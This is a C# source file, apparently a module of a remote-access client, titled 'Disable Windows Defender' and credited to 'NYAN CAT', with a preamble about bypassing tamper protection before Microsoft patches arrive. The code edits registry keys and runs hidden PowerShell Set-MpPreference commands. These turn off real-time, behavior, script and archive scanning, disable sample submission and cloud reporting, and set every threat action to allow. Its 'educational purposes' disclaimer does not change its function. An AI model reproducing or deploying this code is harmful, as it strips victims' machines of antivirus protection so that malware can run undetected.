Anti-Tamper protection should be disabled first as to prevent the first changes from being blocked due to tamper protection blocking them prior to being disabled (Working on a POC that bypass's the need to access's the registry and interacts directly with the Service as trusted installer, should be done before the new MS security patch's hit the Commercial Release Channel)
130 lines
5.9 KiB
C#
130 lines
5.9 KiB
C#
using System;
|
|
using Microsoft.Win32;
|
|
using System.Diagnostics;
|
|
using System.Security.Principal;
|
|
|
|
// │ Author : NYAN CAT
|
|
// │ Name : Disable Windows Defender v1.0
|
|
// │ Contact : https://github.com/NYAN-x-CAT
|
|
|
|
// This program is distributed for educational purposes only.
|
|
|
|
namespace Client.Handle_Packet
|
|
{
|
|
public class HandleWindowsDefender
|
|
{
|
|
public HandleWindowsDefender()
|
|
{
|
|
if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)) return;
|
|
|
|
RegistryEdit(@"SOFTWARE\Microsoft\Windows Defender\Features", "TamperProtection", "0"); //Windows 10 1903 Redstone 6
|
|
RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", "1");
|
|
RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableBehaviorMonitoring", "1");
|
|
RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableOnAccessProtection", "1");
|
|
RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableScanOnRealtimeEnable", "1");
|
|
|
|
CheckDefender();
|
|
}
|
|
|
|
private static void RegistryEdit(string regPath, string name, string value)
|
|
{
|
|
try
|
|
{
|
|
using (RegistryKey key = Registry.LocalMachine.OpenSubKey(regPath, RegistryKeyPermissionCheck.ReadWriteSubTree))
|
|
{
|
|
if (key == null)
|
|
{
|
|
Registry.LocalMachine.CreateSubKey(regPath).SetValue(name, value, RegistryValueKind.DWord);
|
|
return;
|
|
}
|
|
if (key.GetValue(name) != (object)value)
|
|
key.SetValue(name, value, RegistryValueKind.DWord);
|
|
}
|
|
}
|
|
catch { }
|
|
}
|
|
|
|
private static void CheckDefender()
|
|
{
|
|
Process proc = new Process
|
|
{
|
|
StartInfo = new ProcessStartInfo
|
|
{
|
|
FileName = "powershell",
|
|
Arguments = "Get-MpPreference -verbose",
|
|
UseShellExecute = false,
|
|
RedirectStandardOutput = true,
|
|
WindowStyle = ProcessWindowStyle.Hidden,
|
|
CreateNoWindow = true
|
|
}
|
|
};
|
|
proc.Start();
|
|
while (!proc.StandardOutput.EndOfStream)
|
|
{
|
|
string line = proc.StandardOutput.ReadLine();
|
|
|
|
if (line.Contains(@"DisableRealtimeMonitoring") && line.Contains("False"))
|
|
RunPS("Set-MpPreference -DisableRealtimeMonitoring $true"); //real-time protection
|
|
|
|
else if (line.Contains(@"DisableBehaviorMonitoring") && line.Contains("False"))
|
|
RunPS("Set-MpPreference -DisableBehaviorMonitoring $true"); //behavior monitoring
|
|
|
|
else if (line.Contains(@"DisableBlockAtFirstSeen") && line.Contains("False"))
|
|
RunPS("Set-MpPreference -DisableBlockAtFirstSeen $true");
|
|
|
|
else if (line.Contains(@"DisableIOAVProtection") && line.Contains("False"))
|
|
RunPS("Set-MpPreference -DisableIOAVProtection $true"); //scans all downloaded files and attachments
|
|
|
|
else if (line.Contains(@"DisablePrivacyMode") && line.Contains("False"))
|
|
RunPS("Set-MpPreference -DisablePrivacyMode $true"); //displaying threat history
|
|
|
|
else if (line.Contains(@"SignatureDisableUpdateOnStartupWithoutEngine") && line.Contains("False"))
|
|
RunPS("Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"); //definition updates on startup
|
|
|
|
else if (line.Contains(@"DisableArchiveScanning") && line.Contains("False"))
|
|
RunPS("Set-MpPreference -DisableArchiveScanning $true"); //scan archive files, such as .zip and .cab files
|
|
|
|
else if (line.Contains(@"DisableIntrusionPreventionSystem") && line.Contains("False"))
|
|
RunPS("Set-MpPreference -DisableIntrusionPreventionSystem $true"); // network protection
|
|
|
|
else if (line.Contains(@"DisableScriptScanning") && line.Contains("False"))
|
|
RunPS("Set-MpPreference -DisableScriptScanning $true"); //scanning of scripts during scans
|
|
|
|
else if (line.Contains(@"SubmitSamplesConsent") && !line.Contains("2"))
|
|
RunPS("Set-MpPreference -SubmitSamplesConsent 2"); //MAPSReporting
|
|
|
|
else if (line.Contains(@"MAPSReporting") && !line.Contains("0"))
|
|
RunPS("Set-MpPreference -MAPSReporting 0"); //MAPSReporting
|
|
|
|
else if (line.Contains(@"HighThreatDefaultAction") && !line.Contains("6"))
|
|
RunPS("Set-MpPreference -HighThreatDefaultAction 6 -Force"); // high level threat // Allow
|
|
|
|
else if (line.Contains(@"ModerateThreatDefaultAction") && !line.Contains("6"))
|
|
RunPS("Set-MpPreference -ModerateThreatDefaultAction 6"); // moderate level threat
|
|
|
|
else if (line.Contains(@"LowThreatDefaultAction") && !line.Contains("6"))
|
|
RunPS("Set-MpPreference -LowThreatDefaultAction 6"); // low level threat
|
|
|
|
else if (line.Contains(@"SevereThreatDefaultAction") && !line.Contains("6"))
|
|
RunPS("Set-MpPreference -SevereThreatDefaultAction 6"); // severe level threat
|
|
}
|
|
}
|
|
|
|
private static void RunPS(string args)
|
|
{
|
|
Process proc = new Process
|
|
{
|
|
StartInfo = new ProcessStartInfo
|
|
{
|
|
FileName = "powershell",
|
|
Arguments = args,
|
|
WindowStyle = ProcessWindowStyle.Hidden,
|
|
CreateNoWindow = true
|
|
}
|
|
};
|
|
proc.Start();
|
|
}
|
|
|
|
}
|
|
}
|